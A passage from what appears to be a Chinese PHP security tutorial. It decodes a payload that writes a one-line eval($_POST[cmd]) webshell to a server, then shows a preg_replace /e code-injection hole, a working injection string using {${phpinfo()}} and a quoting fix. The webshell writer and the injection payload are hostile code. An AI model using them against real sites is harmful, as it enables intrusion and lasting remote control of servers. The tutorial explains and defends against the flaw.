background image

密文对应的明文是:

fputs

(

fopen

(data/a.php,w),<?php 

eval

(

$_POST

[cmd])?>); 

执行的结果是在/data/

 

目录下生成一个一句话木马文件 a.php  

 

 

再来一个有难度的例子:
 

 

复制代码 代码如下:
 
<? 

function

 test(

$str


echo

 preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', 

$_GET

["h"]); 

?> 
 

 

提交 ?h=[php]phpinfo()[/php],phpinfo()

 

会被执行吗?

 

肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时 phpinfo 仅是

 

被当做一个字符串参数了。

 

有没有办法让它执行呢?
 
 
当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么

 

呢?
在 php 中,双引号里面如果包含有变量,php 解释器会将其替换为变量解释后的结果;单

 

引号中的变量不会被处理。

 

注意:双引号中的函数不会被执行和替换。
 
在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数
被执行的效果(${phpinfo()}

 

会被解释执行)。

 

可以先做如下测试:
 代码如下:

echo

 "{${phpinfo()}}"; 

phpinfo

 

会被成功执行了。

 

 

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')"

,这样 ${phpinfo()}'就会被当做一个普通的字符串处理(单

引号中的变量不会被处理)。